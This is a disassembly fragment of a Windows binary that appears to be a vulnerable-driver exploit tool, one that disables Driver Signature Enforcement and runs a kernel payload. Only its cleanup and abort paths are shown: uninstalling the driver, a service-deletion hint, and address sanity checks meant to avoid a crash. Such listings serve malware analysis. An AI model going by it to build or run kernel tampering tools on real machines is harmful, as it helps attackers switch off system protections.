lea rcx, str.___Uninstalling_vulnerable_driver...
call fcn.1400184e0
mov rcx, qword [0x140051a60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x140051a60], r13
call fcn.1400039b0
test eax, eax
jne 0x1400035d8
lea rcx, str.____An_error_occured_while_attempting_to_uninstall_the_vulnerable_driver
call fcn.1400184e0
mov rbx, qword [0x140055260]
test rbx, rbx
je 0x1400035a3
inc r13
cmp word [rbx + r13*2], 0
jne 0x140003593
test r13, r13
jne 0x1400035cc
mov edx, 2
lea ecx, [rdx + 7]
call fcn.1400119fc
mov rbx, rax
test rax, rax
je 0x1400035c5
mov edx, 8
mov rcx, rax
call fcn.14000ace0
mov qword [0x140055260], rbx
mov rdx, rbx
lea rcx, str.___The_service_should_be_manually_deleted_and_the_computer_restarted._Use:_cmd__c_sc_delete__s_n
jmp 0x140003614
lea rcx, str.___The_vulnerable_driver_was_successfully_uninstalled_
call fcn.1400184e0
mov r12d, dword [rbp - 0x40]
jmp 0x140003619
lea rcx, [rbp + 0x2870]
call fcn.1400184e0
lea rcx, [rbp + 0x2d00]
call fcn.1400184e0
xor eax, eax
jmp 0x14000361c
lea rdx, [rbp + 0x2870]
lea rcx, [0x14003627c]
call fcn.140001010
mov eax, r12d
mov r14, qword [rsp + 0x5ca0]
mov r13, qword [rsp + 0x5ce8]
mov rdi, qword [rsp + 0x5ce0]
mov rbx, qword [rsp + 0x5cd0]
mov rcx, qword [rbp + 0x5b90]
xor rcx, rsp
call fcn.14000d570
add rsp, 0x5ca8
pop r15
pop r12
pop rsi
pop rbp
ret
mov rdx, rdi
lea rcx, str.Non_canonical_address_used:_0x_016llx_nAborting_to_avoid_a_BSOD..._n
call fcn.140001010
mov ecx, r12d
call fcn.1400119f0
int3
mov rdx, rdi
lea rcx, str.Userland_address_used:_0x_016llx_nThis_should_not_happen__aborting..._n
call fcn.140001010
mov ecx, r12d
call fcn.1400119f0
int3
lea rcx, str.Invalid_DSE_disabling_method__aborting...
call fcn.140001010
mov ecx, r12d
call fcn.1400119f0
int3
lea rcx, str.Something_failed__cannot_perform_safely_execute_payload._Aborting..._n
call fcn.140001010
mov ecx, r12d
call fcn.1400119f0
int3